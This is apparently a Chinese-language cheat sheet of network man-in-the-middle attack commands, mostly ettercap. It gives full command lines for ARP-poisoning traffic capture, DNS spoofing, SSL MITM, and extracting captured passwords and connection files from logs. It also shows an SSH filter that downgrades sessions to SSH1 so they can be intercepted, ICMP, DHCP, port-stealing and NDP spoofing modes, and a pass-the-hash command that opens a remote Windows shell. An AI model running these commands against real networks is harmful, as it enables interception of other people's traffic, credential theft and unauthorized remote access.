ettercap -i eth0 -T -M arp:remote -q /1.1.1.1// /1.1.1.2// -F 1.ef -P autoadd -w a.cap -l loginfo -L logall -m message

-i:指定网络接口
-T:字符模式
-M:指定使用的中间人技术(arp 全双工)
-q:安静模式
-F:调用过滤器
-P:调用模块
-w:存储网络流量信息于文件中
-l:存储简单的日志信息于文件中
-L:存储所有的日志信息于文件中
-m:存储消息信息于文件中

图形界面

SSL MITM

开启SSL功能

1
2
3
vim /etc/ettercap/etter.conf

Linux iptables选项启用

DNS欺骗

修改dns_spoof插件配置文件

1
2
3
4
5
vim /etc/ettercap/etter.dns

添加要欺骗的域名和IP对应关系

ettercap -Tq -M arp:remote -i eth0 /192.168.1.1// /192.168.1.114// -P dns_spoof

查看日志

1
2
3
4
etterlog -p logall.eci		#查看获取的密码(eci文件)
etterlog -c log.ecp #列出log中的链接(ecp文件)
etterlog -c -f /1.1.1.1/ log.ecp
etterlog -B -n -s -F TCP:1.1.1.1:20:1.1.1.2:1234 log.ecp > aa #选择相应的连接并榨取文件

filter(筛选器)

默认存在的filter筛选文件目录

1
/usr/share/ettercap/

etter.filter.ssh筛选器作用:

SSH1版本指SSH1.51版本,SSH2版本指SSH2.xx版本。当服务器同时支持SSH1版本与SSH2版本时,会显示SSH1.99版本

SSH1版本可以做中间人攻击,SSH2版本无法进行中间人攻击,etter.filter.ssh就是用来判断SSH的版本,若为SSH2版本则提示无法攻击;若为SSH1.99版本,则强制降级为SSH1.51版本;若为SSH1.51版本,则提示可以攻击

etter.filter.ssh筛选器使用:

编译:

1
etterfilter etter.filter.ssh -o ssh.ef

使用:

1
ettercap -Tq -M arp:remote -i eth0 /192.168.1.1// /192.168.1.114// -F ssh.ef

可以编写自己的筛选器,用于替换网页中的下载,内容等,实现基于中间人攻击的更多的利用方法

ICMP中间人攻击

1
-M icmp:真实网关的MAC地址/真实网关的IP地址

DHCP中间人攻击

1
2
3
-M dhcp:IP地址池/IP段子网掩码/DNS服务器IP

默认此种欺骗方式的网关为做欺骗的主机

switch port stealing(窃取交换机端口)中间人攻击

1
-M port /1.1.1.1/ /1.1.1.2/

NDP中间人攻击

1
-M ndp //IPv6地址/ //IPv6地址/

PASS THE HASH(PTH)

密码破解耗费时间、资源巨大

可以使用密文提交给服务器直接完成身份认证

NTLM/LM是没有加盐的静态HASH密文

此种攻击方式只适用于Windows系统

1
pth-winexe -U 用户名%密码密文 //目标IP cmd
---------------The End---------------
0%